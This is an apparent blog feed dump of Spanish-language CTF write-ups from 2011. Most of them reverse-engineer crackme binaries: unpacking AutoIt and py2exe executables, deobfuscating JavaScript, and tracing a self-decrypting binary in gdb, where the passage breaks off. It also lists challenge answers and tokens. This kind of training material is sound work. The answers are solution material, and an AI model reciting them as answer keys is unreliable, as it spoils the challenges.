href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjM1GkFqE1HX5dIASklFrYixjsxkkW7smMgd11aBytzeIZXP58-hXO_YzSNnSXBu_utVZIJjJ6qH50nU942zLeBTaqRadGjWM7QgkSMOzEg9urF3FI0RsIuMRwRKhPZPuUlr2FExd-iMNw/s1600/upx_d.png&quot;&gt;&lt;img style=&quot;display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 83px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjM1GkFqE1HX5dIASklFrYixjsxkkW7smMgd11aBytzeIZXP58-hXO_YzSNnSXBu_utVZIJjJ6qH50nU942zLeBTaqRadGjWM7QgkSMOzEg9urF3FI0RsIuMRwRKhPZPuUlr2FExd-iMNw/s400/upx_d.png&quot; border=&quot;0&quot; alt=&quot;&quot;id=&quot;BLOGGER_PHOTO_ID_5631536208024860722&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;El ejecutable desempaquetado resulta ser un script de AutoIt transformado en ejecutable, como podemos observar en las cadenas del ejecutable o en las propiedades del mismo:&lt;/p&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZRBdQnUSfmo5wATGybnQT4uXfBUQq-aCD9NWFSPf1bpn5fzqUHgnMirJ5I4DRACI16GKbwPCg_mrSWUgv8G0QFjaFMx7X7YPEW2ctAoRA3Zyn5YYYlBLML2i9xcSJN5km3Kk1uyLCav8/s1600/therabbitpropiedades.png&quot;&gt;&lt;img style=&quot;display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 317px; height: 400px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZRBdQnUSfmo5wATGybnQT4uXfBUQq-aCD9NWFSPf1bpn5fzqUHgnMirJ5I4DRACI16GKbwPCg_mrSWUgv8G0QFjaFMx7X7YPEW2ctAoRA3Zyn5YYYlBLML2i9xcSJN5km3Kk1uyLCav8/s400/therabbitpropiedades.png&quot; border=&quot;0&quot; alt=&quot;&quot;id=&quot;BLOGGER_PHOTO_ID_5631543459554182914&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Investigando un poco, llegamos a esta entrada en el fabuloso blog de Didier Stevens:&lt;/p&gt;&lt;br /&gt;&lt;a href=&quot;http://blog.didierstevens.com/2007/10/02/autoit-malware-revisited/&quot;&gt;http://blog.didierstevens.com/2007/10/02/autoit-malware-revisited/&lt;/a&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Siguiendo sus instrucciones, nos bajamos la versión de AutoIt apropiada y mediante Exe2Aut recuperamos el script original, por suerte sin contraseña.&lt;/p&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Es muy fácil localizar la parte interesante, y a primera vista llama la atención una variable con el valor &quot;car411o&quot; que apesta a contraseña.  Además vemos otras 2 variables que tampoco se utilizan, con los valores &quot;unsoldo&quot; y &quot;fai&quot;:&lt;/p&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiC8WnsPLzTVbPV_viAJKcKj3haNzWVKNS4Tkrix6srB3comzAkwGs2msFD9jcAbMkiVBExXUo-dnkBoqlvIb1-nE1WT56QO4M85FACp_YkOc5xUcMtjmIigDX3O0TjfekBF1AVoqYNuic/s1600/therabbitscriptautoit.png&quot;&gt;&lt;img style=&quot;display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 280px; height: 271px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiC8WnsPLzTVbPV_viAJKcKj3haNzWVKNS4Tkrix6srB3comzAkwGs2msFD9jcAbMkiVBExXUo-dnkBoqlvIb1-nE1WT56QO4M85FACp_YkOc5xUcMtjmIigDX3O0TjfekBF1AVoqYNuic/s400/therabbitscriptautoit.png&quot; border=&quot;0&quot; alt=&quot;&quot;id=&quot;BLOGGER_PHOTO_ID_5631552289300969842&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Me puse en la piel de B4RRe1R0, me impregné de acento gallego y la solución salió sola: &quot;faiunsoldocar411o&quot;.&lt;/p&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Con esta contraseña podemos descomprimir el fichero descargado y obtenemos el token:&lt;/p&gt;&lt;br /&gt;&lt;pre&gt;&gt;cat cozashula.txt&lt;br /&gt;eze_ezpanyolitoSexydem0da&lt;br /&gt;&lt;/pre&gt;</content><link rel='replies' type='application/atom+xml' href='http://pentsec.blogspot.com/feeds/6509091364258110670/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://pentsec.blogspot.com/2011/07/writeup-therabbit-wgsbd2.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2801530176223592362/posts/default/6509091364258110670'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2801530176223592362/posts/default/6509091364258110670'/><link rel='alternate' type='text/html' href='http://pentsec.blogspot.com/2011/07/writeup-therabbit-wgsbd2.html' title='WriteUp - therabbit - wgsbd2'/><author><name>ramandi</name><uri>http://www.blogger.com/profile/06511961608508220893</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjM1GkFqE1HX5dIASklFrYixjsxkkW7smMgd11aBytzeIZXP58-hXO_YzSNnSXBu_utVZIJjJ6qH50nU942zLeBTaqRadGjWM7QgkSMOzEg9urF3FI0RsIuMRwRKhPZPuUlr2FExd-iMNw/s72-c/upx_d.png" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2801530176223592362.post-1325323071216510028</id><published>2011-07-20T20:03:00.008+02:00</published><updated>2011-07-20T20:38:41.153+02:00</updated><title type='text'>WriteUp - 90sdancing - wgsbd2</title><content type='html'>&lt;p align=&quot;justify&quot;&gt;Lo primero que tienes que hacer es leer la impresionante solución de Sherab Giovannini a este reto:&lt;/p&gt;&lt;br /&gt;&lt;a href=&quot;http://www.reversingcode.com/f1l3s/90sdancing.by.Sherab.Giovannini.zip&quot;&gt;http://www.reversingcode.com/f1l3s/90sdancing.by.Sherab.Giovannini.zip&lt;/a&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Una vez hecho eso, si su capacidad te desborda (como a mí), igual te interesa esta solución de andar por casa.&lt;/p&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Nos proporcionan el binario &lt;a href=&quot;https://sites.google.com/site/archivospentsec/crackme.zip&quot;&gt;crackme.exe&lt;/a&gt;.  Analizando las cadenas de texto incluidas en el mismo enseguida vemos que es un ejecutable creado a partir de un script de python con py2exe.&lt;/p&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&gt;strings crackme.exe|grep -i py2exe&lt;br /&gt;PY2EXE_VERBOSE&lt;br /&gt;PY2EXE_VERBOSE&lt;br /&gt;py2exe&lt;br /&gt;C:\Python24\lib\site-packages\py2exe\boot_common.pyR&lt;br /&gt;This file and also _memimporter.pyd is part of the py2exe package.&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Buscando en Google un rato, localizamos un script que nos permite deshacer la conversión:&lt;/p&gt;&lt;br /&gt;&lt;a href=&quot;http://osdir.com/ml/python.py2exe/2007-11/msg00030.html&quot;&gt;http://osdir.com/ml/python.py2exe/2007-11/msg00030.html&lt;/a&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Como indican en la misma página, hay que ejecutarlo con la versión de python que se utilizó para generar el ejecutable, así que instalo en mi máquina python 2.4 y lo probamos:&lt;/p&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&gt;\Python24\python.exe exe2py.py crackme.exe&lt;br /&gt;HEADER: 0x78563412 0 0 3039&lt;br /&gt;ZipArchive:&lt;br /&gt;Found code object: C:\Python24\lib\site-packages\py2exe\boot_common.py&lt;br /&gt;        Extracting to: boot_common.pyc&lt;br /&gt;Found code object: &lt;install zipextimporter&gt;&lt;br /&gt;        Disassembly:&lt;br /&gt;  1           0 LOAD_CONST               0 (None)&lt;br /&gt;              3 IMPORT_NAME              0 (zipextimporter)&lt;br /&gt;              6 STORE_NAME               0 (zipextimporter)&lt;br /&gt;              9 LOAD_NAME                0 (zipextimporter)&lt;br /&gt;             12 LOAD_ATTR                1 (install)&lt;br /&gt;             15 CALL_FUNCTION            0&lt;br /&gt;             18 POP_TOP&lt;br /&gt;             19 LOAD_CONST               0 (None)&lt;br /&gt;             22 RETURN_VALUE&lt;br /&gt;Found code object: crackme.py&lt;br /&gt;        Extracting to: crackme.pyc&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Perfecto, ya tenemos un script de python compilado, así que vamos a la web depython.net para obtener el código fuente:&lt;/p&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_oG5-1PCT6rl52Ek5sz5n349Mp-ujQkPwfhR23hvb3yA7HfYgeFWZnr7fKUd5OhIkT-FoFfEtYmWxw6GWgKFCBSlFMvGK_l9nlPaNHLI3OwrIxO8zx0xHn7OYGwpg8sakwAVvA7sTvXU/s1600/crackme.png&quot;&gt;&lt;img style=&quot;display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 392px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_oG5-1PCT6rl52Ek5sz5n349Mp-ujQkPwfhR23hvb3yA7HfYgeFWZnr7fKUd5OhIkT-FoFfEtYmWxw6GWgKFCBSlFMvGK_l9nlPaNHLI3OwrIxO8zx0xHn7OYGwpg8sakwAVvA7sTvXU/s400/crackme.png&quot; border=&quot;0&quot; alt=&quot;&quot;id=&quot;BLOGGER_PHOTO_ID_5631499672292028498&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Ya podemos ver claramente que pasando como parámetro &quot;Captain hollywood&quot; obtendremos el token que buscábamos: &quot;find another way&quot;.&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://pentsec.blogspot.com/feeds/1325323071216510028/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://pentsec.blogspot.com/2011/07/writeup-90sdancing-wgsbd2.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2801530176223592362/posts/default/1325323071216510028'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2801530176223592362/posts/default/1325323071216510028'/><link rel='alternate' type='text/html' href='http://pentsec.blogspot.com/2011/07/writeup-90sdancing-wgsbd2.html' title='WriteUp - 90sdancing - wgsbd2'/><author><name>ramandi</name><uri>http://www.blogger.com/profile/06511961608508220893</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_oG5-1PCT6rl52Ek5sz5n349Mp-ujQkPwfhR23hvb3yA7HfYgeFWZnr7fKUd5OhIkT-FoFfEtYmWxw6GWgKFCBSlFMvGK_l9nlPaNHLI3OwrIxO8zx0xHn7OYGwpg8sakwAVvA7sTvXU/s72-c/crackme.png" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2801530176223592362.post-2783391016168398400</id><published>2011-07-06T01:59:00.005+02:00</published><updated>2011-07-06T02:08:59.006+02:00</updated><title type='text'>Quals SiBCTF 2011</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;Este fin de semana se han celebrado &lt;a href=&quot;http://blackbox.sibears.ru/news/sibctf-quals-results/&quot;&gt;las quals del SiBCTF 2011&lt;/a&gt;. Hemos participado y hemos conseguido clasificarnos para la final del SiBCTF 2011. En la final estarán 8 equipos rusos y 8 equipos no rusos. Se celebrará el 11 de Septiembre del 2011. Los equipos que estarán en la final serán:&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;h4 style=&quot;text-align: justify;&quot;&gt;Lista de equipos rusos invitados a las finales del “SiBCTF 2011”&lt;br /&gt;&lt;/h4&gt;&lt;div style=&quot;text-align: justify;&quot;&gt; &lt;/div&gt;&lt;ul style=&quot;text-align: justify;&quot;&gt;&lt;li&gt;Leet More&lt;/li&gt;&lt;li&gt;HD || ! HD&lt;/li&gt;&lt;li&gt;PeterPen&lt;/li&gt;&lt;li&gt;MiT&lt;/li&gt;&lt;li&gt;HackerMayCry&lt;/li&gt;&lt;li&gt;Koibasta&lt;/li&gt;&lt;li&gt;[censored]&lt;/li&gt;&lt;li&gt;Honeypot&lt;/li&gt;&lt;/ul&gt;&lt;div style=&quot;text-align: justify;&quot;&gt; &lt;/div&gt;&lt;h4 style=&quot;text-align: justify;&quot;&gt;Lista de equipos no rusos invitados a las finales del “SiBCTF 2011” &lt;/h4&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;  &lt;/div&gt;&lt;ul style=&quot;text-align: justify;&quot;&gt;&lt;li&gt;Plaid Parliament of Pwning&lt;/li&gt;&lt;li&gt;disekt&lt;/li&gt;&lt;li&gt;SGM48&lt;/li&gt;&lt;li&gt;tiwfrags&lt;/li&gt;&lt;li&gt;shell-storm&lt;/li&gt;&lt;li&gt;Keysec&lt;/li&gt;&lt;li&gt;pwnfu&lt;/li&gt;&lt;li&gt;pentsec&lt;/li&gt;&lt;/ul&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;Intentaremos hacerlo lo mejor posible. Hasta ese día, a practicar ;-)&lt;br /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pentsec.blogspot.com/feeds/2783391016168398400/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://pentsec.blogspot.com/2011/07/quals-sibctf-2011.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2801530176223592362/posts/default/2783391016168398400'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2801530176223592362/posts/default/2783391016168398400'/><link rel='alternate' type='text/html' href='http://pentsec.blogspot.com/2011/07/quals-sibctf-2011.html' title='Quals SiBCTF 2011'/><author><name>B4RRe1R0</name><uri>http://www.blogger.com/profile/16303833812986131301</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='29' height='32' src='http://2.bp.blogspot.com/-XH9xWNKExsQ/T5ZnRpRzcWI/AAAAAAAAIYU/z4t5EDVFwgU/s220/B4RRe1R0.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2801530176223592362.post-5314498102646177420</id><published>2011-05-01T23:50:00.005+02:00</published><updated>2011-05-02T09:25:40.366+02:00</updated><title type='text'>WriteUp - Desafío 13 - H4ckc0nt3st GSIC 2011</title><content type='html'>&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPlDK0mu-nUGXU-eAasYTz4kAxvf6YysVbUk4jjQyhHo8h4mYnFsn_LIqZJSnElAlaj8Z39lDB64vJ0KzAZuCgFd9NJgzhjo-MpgbgiTRG3ahVTZZ4oKK-NsGZr7FBwHhmyfgHJix7tuZr/s400/desafio13.jpg&quot; alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5601860765900628866&quot; style=&quot;cursor: pointer; display: block; height: 222px; margin: 0px auto 10px; text-align: center; width: 400px;&quot; /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Examinado el código html de la página vemos que se lanza un script en javascript  bastante llamativo:&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; &gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicvCgIe0u9N5TEADVyIC5aYJuhb_aKoTYCxq9I24kWuRAAf0zG9hS8wvhhp817RRNSMlzQQRXH9hSgnFesxxqiPrXoeLT35aT7ZLe1-RvhP05h0R6aBzqWJJNJYLGsvNPX9M9g6oENN3TO/s400/js.jpg&quot; style=&quot;display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 350px;&quot; border=&quot;0&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5602015789552999538&quot; /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Después de hacer un par de pruebas vemos que el código está ofuscado y pasándolo por url decode no conseguimos nada.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;La solución rápida y sencilla es apoyarnos en un plugin que existe para firefox llamado javascript deobfuscator que nos muestra el código directamente desde el motor del navegador.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Lo ejecutamos y nos muestra el siguiente código:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;function anonymous() {&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt; &lt;/span&gt;c = document.getElementById(&quot;clave&quot;).value;&lt;/div&gt;&lt;div&gt; &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt; &lt;/span&gt;if (c != &quot;J4v4scr1p7fr0mh311&quot;) {&lt;/div&gt;&lt;div&gt;   &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;  &lt;/span&gt;alert(&quot;clave incorrecta!&quot;);&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt; &lt;/span&gt;} else {&lt;/div&gt;&lt;div&gt; &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;  &lt;/span&gt;document.acceso.submit();&lt;/div&gt;&lt;div&gt; &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt; &lt;/span&gt;}&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;Solución: J4v4scr1p7fr0mh311&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pentsec.blogspot.com/feeds/5314498102646177420/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://pentsec.blogspot.com/2011/05/writeup-desafio-13-h4ckc0nt3st-gsic.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2801530176223592362/posts/default/5314498102646177420'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2801530176223592362/posts/default/5314498102646177420'/><link rel='alternate' type='text/html' href='http://pentsec.blogspot.com/2011/05/writeup-desafio-13-h4ckc0nt3st-gsic.html' title='WriteUp - Desafío 13 - H4ckc0nt3st GSIC 2011'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPlDK0mu-nUGXU-eAasYTz4kAxvf6YysVbUk4jjQyhHo8h4mYnFsn_LIqZJSnElAlaj8Z39lDB64vJ0KzAZuCgFd9NJgzhjo-MpgbgiTRG3ahVTZZ4oKK-NsGZr7FBwHhmyfgHJix7tuZr/s72-c/desafio13.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2801530176223592362.post-7696849322336494453</id><published>2011-05-01T23:10:00.006+02:00</published><updated>2011-05-01T23:31:35.025+02:00</updated><title type='text'>WriteUp - Desafío 16 - H4ckc0nt3st GSIC 2011</title><content type='html'>&lt;p align=&quot;justify&quot;&gt;Nos presentan un binario llamado ‘&lt;a href=&quot;https://sites.google.com/site/archivospentsec/resiste&quot;&gt;resiste&lt;/a&gt;’, a ver qué podemos hacer con él.&lt;/p&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Si llamamos al binario sin parámetros o con más de uno, nos responde “¿Así, sin más?”, mientras que si ponemos solo un parámetro con cualquier valor tampoco le gusta demasiado y nos lo indica con un “:(”.&lt;/p&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Abrimos el binario con el IDA y vemos que no tiene definida la función main, por lo que en su lugar nos lleva a start, que llama a __libc_start_main.&lt;/p&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVY67f9pa0bIu3mRbuQryQ-yBRMzyVCKiIAz5vtEAZGtiakhWIX-7X-wJFnArIdE_F2xQSj7J1TX2JVB9suuPL_V-79PtGwVhGjk1ALW7sf6ZCF7lbx6WcSS3qp0hO-utq6KD9qJRQRFU/s1600/desafio16_1.png&quot;&gt;&lt;img style=&quot;display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 241px; height: 335px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVY67f9pa0bIu3mRbuQryQ-yBRMzyVCKiIAz5vtEAZGtiakhWIX-7X-wJFnArIdE_F2xQSj7J1TX2JVB9suuPL_V-79PtGwVhGjk1ALW7sf6ZCF7lbx6WcSS3qp0hO-utq6KD9qJRQRFU/s400/desafio16_1.png&quot; border=&quot;0&quot; alt=&quot;&quot;id=&quot;BLOGGER_PHOTO_ID_5601859113158467938&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Vamos a sub_8048470 para observar el código llamado y vemos el siguiente esquema:&lt;/p&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhENr5ofB80ulBczMVt6ejqLSom3-1cpBMX7h7yloSgWIuTCzCB-QbxPobMVZ5xeBwFlFz1oR0Mpg9yXdxt8VGh_FbCiWX_IpkuZID01TqZbKnWpjLJWH3eM4lKsuhfB1AJNQslsMLKb1Q/s1600/desafio16_2.png&quot;&gt;&lt;img style=&quot;display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 341px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhENr5ofB80ulBczMVt6ejqLSom3-1cpBMX7h7yloSgWIuTCzCB-QbxPobMVZ5xeBwFlFz1oR0Mpg9yXdxt8VGh_FbCiWX_IpkuZID01TqZbKnWpjLJWH3eM4lKsuhfB1AJNQslsMLKb1Q/s400/desafio16_2.png&quot; border=&quot;0&quot; alt=&quot;&quot;id=&quot;BLOGGER_PHOTO_ID_5601859116118048066&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;El programa descifra una sección del código en memoria y salta a él, por lo que sólo con análisis estático no vamos a poder hacer mucho y decidimos usar gdb.&lt;br /&gt;Arrancamos con un parámetro para que el flujo del programa nos lleve hasta donde nos interesa:&lt;/p&gt;&lt;br /&gt;&lt;code&gt;# gdb -q --args ./resiste AAAAAAAAAA&lt;br /&gt;(no debugging symbols found)&lt;/code&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Con mis limitados conocimientos de gdb, suelo poner ‘start’ para cargar el programa y poder desensamblar el programa, pero haciéndolo en este caso lanza el programa completo, así que para evitarlo tengo que poner algún punto de ruptura.  Como hemos visto antes una llamada a mmap() y está situada cerca del punto que nos interesa, la utilizo para fijar el breakpoint:&lt;/p&gt;&lt;br /&gt;&lt;code&gt;(gdb) b mmap&lt;br /&gt;Function &quot;mmap&quot; not defined.&lt;br /&gt;Make breakpoint pending on future shared library load? (y or [n]) y&lt;br /&gt;&lt;br /&gt;Breakpoint 1 (mmap) pending.&lt;br /&gt;(gdb) run&lt;br /&gt;Starting program: /root/resiste AAAAAAAAAA&lt;br /&gt;(no debugging symbols found)&lt;br /&gt;(no debugging symbols found)&lt;br /&gt;(no debugging symbols found)&lt;br /&gt;&lt;br /&gt;Breakpoint 1, 0xb7ef3f80 in mmap () from /lib/tls/i686/cmov/libc.so.6&lt;/code&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Comprobamos dónde nos encontramos para situarnos y poder fijar el siguiente punto de ruptura donde nos interese, en la zona de memoria desde la que se ha llamado a mmap():&lt;/p&gt;&lt;br /&gt;&lt;code&gt;(gdb) where&lt;br /&gt;#0  0xb7ef3f80 in mmap () from /lib/tls/i686/cmov/libc.so.6&lt;br /&gt;#1  0x080484ec in ?? ()&lt;br /&gt;#2  0xb7e2c685 in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6&lt;br /&gt;#3  0x080483c1 in ?? ()&lt;/code&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Intento obtener el código desensamblado con el comando que utilizo habitualmente para ello ‘disas’, pero no lo acepta por encontrase esa zona de memoria fuera de las funciones definidas, por lo que toca googlear un poco hasta localizar que podemos mostrar la memoria decodificándola como instrucciones, y este método sí nos funciona en este caso:&lt;/p&gt;&lt;br /&gt;&lt;code&gt;(gdb) disas 0x080484ec&lt;br /&gt;No function contains specified address.&lt;br /&gt;(gdb) x/20i 0x080484ec&lt;br /&gt;0x80484ec:      xor    %edx,%edx&lt;br /&gt;0x80484ee:      cmp    $0xffffffff,%eax&lt;br /&gt;0x80484f1:      je     0x8048576&lt;br /&gt;0x80484f7:      nop&lt;br /&gt;0x80484f8:      movzbl 0x80486c0(,%edx,4),%ecx&lt;br /&gt;0x8048500:      xor    %edx,%ecx&lt;br /&gt;0x8048502:      mov    %cl,(%eax,%edx,1)&lt;br /&gt;0x8048505:      add    $0x1,%edx&lt;br /&gt;0x8048508:      cmp    $0xbe,%edx&lt;br /&gt;0x804850e:      jne    0x80484f8&lt;br /&gt;0x8048510:      mov    0x4(%ebx),%edx&lt;br /&gt;0x8048513:      mov    %eax,0x8049b84&lt;br /&gt;0x8048518:      mov    %edx,(%esp)&lt;br /&gt;0x804851b:      call   *%eax&lt;br /&gt;0x804851d:      test   %eax,%eax&lt;br /&gt;0x804851f:      jne    0x8048547&lt;br /&gt;0x8048521:      mov    0x4(%ebx),%eax&lt;br /&gt;0x8048524:      movl   $0x8048664,0x4(%esp)&lt;br /&gt;0x804852c:      mov    %eax,0x8(%esp)&lt;br /&gt;0x8048530:      mov    0x8049b80,%eax&lt;/code&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;De esta forma ya podemos localizar la llamada al código desempaquetado (call *%eax) y fijamos un punto de ruptura en esa instrucción para poder entrar posteriormente en el método llamado.&lt;/p&gt;&lt;br /&gt;&lt;code&gt;(gdb) b *0x804851b&lt;br /&gt;Breakpoint 2 at 0x804851b&lt;br /&gt;(gdb) continue&lt;br /&gt;Continuing.&lt;br /&gt;&lt;br /&gt;Breakpoint 2, 0x0804851b in ?? ()&lt;br /&gt;(gdb) stepi&lt;br /&gt;0xb7f82000 in ?? ()&lt;/code&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Ya estamos dentro del código desempaquetado y podemos ver el código desensamblado del método:&lt;/p&gt;&lt;br /&gt;&lt;code&gt;(gdb) x/70i 0xb7f82000&lt;br /&gt;0xb7f82000:     push   %ebp&lt;br /&gt;0xb7f82001:     mov    %esp,%ebp&lt;br /&gt;0xb7f82003:     sub    $0x20,%esp&lt;br /&gt;0xb7f82006:     movb   $0xf4,-0x17(%ebp)&lt;br /&gt;0xb7f8200a:     movb   $0xee,-0x1f(%ebp)&lt;br /&gt;0xb7f8200e:     movb   $0xcb,-0x20(%ebp)&lt;br /&gt;0xb7f82012:     movb   $0xd3,-0x14(%ebp)&lt;br /&gt;0xb7f82016:     movb   $0xce,-0xd(%ebp)&lt;br /&gt;0xb7f8201a:     movb   $0xe2,-0x1d(%ebp)&lt;br /&gt;0xb7f8201e:     movb   $0xc4,-0x1c(%ebp)&lt;br /&gt;0xb7f82022:     movb   $0x0,-0x5(%ebp)&lt;br /&gt;0xb7f82026:     movb   $0xec,-0x1e(%ebp)&lt;br /&gt;0xb7f8202a:     movb   $0xe9,-0xc(%ebp)&lt;br /&gt;0xb7f8202e:     movb   $0xe8,-0x15(%ebp)&lt;br /&gt;0xb7f82032:     movb   $0xcf,-0xb(%ebp)&lt;br /&gt;0xb7f82036:     movb   $0xe6,-0x1b(%ebp)&lt;br /&gt;0xb7f8203a:     movb   